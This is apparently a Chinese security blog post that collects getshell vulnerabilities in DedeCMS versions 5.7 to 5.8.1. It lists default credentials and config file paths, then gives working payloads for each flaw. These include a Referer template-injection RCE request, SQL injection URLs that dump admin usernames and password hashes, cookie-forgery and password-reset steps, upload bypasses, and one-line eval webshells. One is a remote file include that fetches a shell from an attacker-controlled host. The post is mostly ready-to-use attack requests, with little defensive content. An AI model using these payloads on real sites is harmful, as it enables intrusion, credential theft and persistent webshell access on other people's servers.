DedeCMS可Getshell的漏洞汇总


默认配置信息

默认后台地址:dede/login.php
默认口令:admin/admin
版本查看:data/admin/ver.txt
数据库账号密码:data/common.inc.php

漏洞汇总

1、5.8.1 版本RCE漏洞

在include\common.func.php文件中的ShowMsg函数存在模板注入,从Referer头中取值,然后进行渲染,造成RCE。主要漏洞代码如下:

function ShowMsg(...){
  if(...){
    ...
  }
  if(...){
    $gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
  }
}
...
$tpl = new DedeTemplate();
$tpl->LoadString($msg);

POC如下:

{cat_hide}

GET /plus/flink.php?dopost=save&c=whoami HTTP/1.1
Host: 10.211.55.3
Referer: <?php "system"($c);die;/*


{/cat_hide}

2、5.7版本ajax_membergroup.php SQL注入

检测漏洞,访问下面地址,出现下图信息说明漏洞存在:

member/ajax_membergroup.php?action=post&membergroup=1

获取管理员用户名:

member/ajax_membergroup.php?action=post&membergroup=@`'` Union select userid from `#@__admin` where 1 or id=@`'`

获取管理员密码hash:

member/ajax_membergroup.php?action=post&membergroup=@`'` Union select pwd from `#@__admin` where 1 or id=@`'`

得到的是19位的字符串,去掉前三位和最后一位,得到管理员的16位MD5值。

3、5.7版本前台任意账号密码修改

访问下面地址获取key:

uploads/member/resetpassword.php?dopost=safequestion&safequestion=0.0&id=1

然后拼接如下连接便可重置密码:

uploads/member/resetpassword.php?dopost=getpasswd&id=1&key=yegBWVfW

4、5.7.72版本cookie伪造导致任意前台用户登录(SSV-97087)

访问下面地址获取伪造的cookie值:

uploads/member/index.php?uid=001

接下来使用001账号登录,登录后修改cookie。将last_vid的值赋给DedeUserID,last_vid__ckMd5的值赋给DedeUserID__ckMd5,保存后刷新页面登录到admin用户中。可以通过修改密码将两个表dede_admin和dede_member中的密码同时修改从而登录后台(需要知道原密码才能修改)。

5、5.7版本前台任意文件上传(CVE-2018-20129)

dede在uploads/include/dialog/select_images_post.php代码中校验文件名时,不是取文件的后缀名来进行判断的,而是对文件格式进行判断,然后再取后缀名进行拼接上传,便造成了可已使用xxx.jpg.p%php或xxx.jpg.p*hp等方式绕过。前台会员可以通过内容中心的编辑器中上传绕过:

6、5.7版本后台ad_js.php getshell

漏洞在“模块”下的“广告管理”处,这里点击“添加一个新广告”,然后插入恶意代码,如图:

点击广告代码就出现了地址,如图:

这里我们是写入的是一句话木马,直接GET方式执行任意代码,便可在源代码中得到结果,如图:

7、5.7版本/plus/recommend.php SQL注入漏洞

访问如下地址获取管理员账号密码:

/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=' or mid=@`'` union select 1,2,3,(select concat(0x7c,userid,0x7c,pwd) from `%23@__admin` limit 0,1),5,6,7,8,9%23@`'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type]=11

8、5.7版本plus/search.php SQL注入漏洞

访问如下地址,如果正常显示说明漏洞不存在,返回Safe Alert: Request Error step x!说明漏洞存在。

/plus/search.php?keyword=as&typeArr[uNion]%20=a

返回Safe Alert: Request Error step 2 !使用:

/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a

返回Safe Alert: Request Error step 1 !使用:

/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a

9、5.7后台任意代码执行(CVE-2018-7700)

该漏洞的触发文件为 /dede/tag_test_action.php。起因是 csrf_check() 函数的绕过,导致可执行任意代码。
Poc如下:

/tag_test_action.php?url=a&token=&partcode={dede:field name='source' runphp='yes'}phpinfo();{/dede:field}

10、5.7版本远程文件包含漏洞(CVE-2015-4553)

利用变量覆盖漏洞将$insLockfile构造成任意不存在的文件就可以清空config_update.php,然后控制updateHost参数就可以开始远程文件包含上传我们想要上传的文件了。
清空config_update.php文件内容:

/uploads/install/index.php?step=11&s_lang=test&insLockfile=test&install_demo_name=../data/admin/config_update.php

在VPS上创建一个dedecms文件夹,然后创建一个demodata.gb2312.txt,写入想上传的php文件内容,然后开启web服务使用下面请求上传文件:

/uploads/install/index.php?step=11&insLockfile=test&install_demo_name=../shell.php&updateHost=http://192.168.10.140/

11、5.7版本后台代码执行漏洞(CNVD-2018-01221)

感觉这个漏洞应该叫任意文件上传吧,访问下面路径在页面源代码中获取到token值:

/dede/tpl.php?action=upload

然后访问下面请求上传文件:

/dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=【token值】

上传的文件地址:

/include/taglib/moonsec.lib.php

12、5.7版本/plus/flink_add.php SQL 注入漏洞

网站要支持友链,Post 请求中的 logo 参数存在 SQL 注入,申请一个友情连接,填入验证码抓包,将Post数据替换为下面数据查版本:

Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=验证码&_FILES[webname][name]=1.gif&_FILES[webname][type]=p_w_picpath/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\

替换为下面数据查密码:

Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=验证码&_FILES[webname][name]=1.gif&_FILES[webname][type]=p_w_picpath/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\

13、5.7版本远程代码执行漏洞(CVE-2022-35516)

DedeCMS v5.7.93在文件中增加了登录失败锁定功能,/dede/login.php以符合相关的网络安全规定。当用户登录失败时,失败消息将被写入文件/data/login.data.php以记录该用户登录失败的次数。
Poc如下:

POST /dede/login.php HTTP/1.1
Host: dedecms5793
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=e9ag7oevkh77gnko3cdmt7mbc2

dopost=login&userid=%5C%27.phpinfo%28%29%3B%3F%3E&pwd=123&validate=hw0k

14、5.7版本sys_verifies后台文件写入(CVE-2018-9175)

漏洞代码在/dede/sys_verifies.php文件,该文件会在/data目录下生成一个inc文件,并且这个inc文件的内容是我们可以控制的,因此只需要再找一个include了这个inc文件的地方,便可以完成攻击。
使用下面请求向modifytmp.inc中写入一句话木马:

/dede/sys_verifies.php?action=getfiles&refiles[]=\";eval($_GET[a]); die(); //

访问下面请求触发文件包含漏洞执行php代码:

/dede/sys_verifies.php?action=down&a=echo 'hummer';

15、5.7版本sys_cache_up.php后台文件写入

漏洞代码在/dede/sys_cache_up.php文件 36行处,由于可以操作文件内容,且文件内容是从数据库取值的,因此通过在数据库里写入内容,通过查询数据库将文件写入服务器。
使用下面请求将代码写入数据库:

/dede/stepselect_main.php?action=addenum_save&ename=123&egroup=;phpinfo();$&issign=1

访问下面请求将代码执行命令:

/dede/sys_verifies.php?action=getfiles&refiles[]=123&refiles[]=\";phpinfo();die();//

16、album_add_后台文件上传(CVE-2019-8362)

制作图片马,内容为一句话木马,重命名为123.jpg.php,压缩为zip文件,打开/dede/album_add.php,选择从zip压缩包上传:

上传完成后点击预览文档:

图片上传的位置为:Dedecms\uploads\allimg。

17、5.7.92版本后台文件上传漏洞(CNVD-2022-33420)

该漏洞是绕过了对上传文件内容的黑名单过滤,preg_replace函数不在黑名单内,这个函数是正则匹配函数,但是加了/e修饰符的话,就会执行php代码。

使用下面代码绕过黑名单上传:

<?php
preg_replace("/abc/e", $_REQUEST['cmd'], "abcd");
?>

但是php7不再支持preg_replace的/e修饰符。

声明:Hack All Sec的博客|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - DedeCMS可Getshell的漏洞汇总


Hacker perspective for security